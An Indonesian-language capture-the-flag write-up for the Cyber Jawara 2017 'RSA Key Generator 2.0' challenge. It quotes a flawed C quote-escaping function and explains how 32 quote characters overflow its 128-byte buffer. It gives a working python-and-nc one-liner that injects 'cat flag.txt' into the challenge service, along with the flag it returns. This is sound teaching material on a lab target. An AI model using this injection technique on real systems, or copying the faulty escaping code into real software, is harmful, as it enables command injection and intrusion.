[Cyber Jawara Quals 2017] RSA Key Generator 2.0 (175 Poin)

Masalah

Diberikan berkas rsa_keygen2, berkas rsa_keygen2.c, dan layanan yang tersedia pada nc cj2k17.ctf.idsirtii.or.id 41337. Layanan dapat digunakan untuk membangkitkan pasangan kunci RSA dengan bahasa pemrograman C dan ada pula patch untuk versi sebelumnya.

Penyelesaian

Pengumpulan Informasi

Kami memeriksa jenis berkas dan keamanan yang ada didalamnya dengan file dan checksec.

$ file rsa_keygen2
rsa_keygen2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=97f0c247e8b7f7d44d884f18d9954cd504f2a4e2, not stripped

$ checksec rsa_keygen2
[*] '/home/.../rsa_keygen2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Berdasarkan informasi diatas, keamanan binary untuk PIE tidak diaktifkan dan arsitektur yang digunakan adalah Linux 64 bit. Sedangkan alur program dapat ditelusuri melalui source code rsa_keygen.c dimana program meminta input berupa string antara 4-127 karakter sebagai passphrase yang digunakan dalam fungsi system. Adapun tambahan patch dengan fungsi escape_gets dimana satu karakter quote digantikan strong quotes yang berjumlah 4 karakter.

size_t escape_gets(char *pass, size_t limit) {
    size_t sz;
    char c;
    sz = 0;

    while (sz++ < limit) {
        c = getchar();
        if (c == '\n' || c == '\0') {
            break;
        } else if (c == '\'') {
            *pass++ = '\'';
            *pass++ = '\\';
            *pass++ = '\'';
            *pass++ = '\'';
        } else {
            *pass++ = c;
        }
    }

    *pass = '\0';
    return sz;
}

Identifikasi Kelemahan

Berdasarkan informasi diatas, terdapat kelemahan pada kode yang baru escape_gets. Injeksi kode dapat dilakukan dengan memanfaatkan struktur kondisi dengan memasukkan karakter quote sebanyak 32 kali sehingga jumlah buffer menjadi 128 karakter. Ini menyebabkan stack dapat dikendalikan dan bisa menginjeksi kode cat flag.txt ke server.

$ python -c 'print "\x27"*32 + "cat flag.txt"' | nc cj2k17.ctf.idsirtii.or.id 41337

Luaran

 --//-- CJ RSA Key Generator --//-- 

Passphrase: 
CJ2017{overwriting_array_with_overflow_is_really_c0mm0n}

Flag yang didapat adalah CJ2017{overwriting_array_with_overflow_is_really_c0mm0n}.

results matching ""

    No results matching ""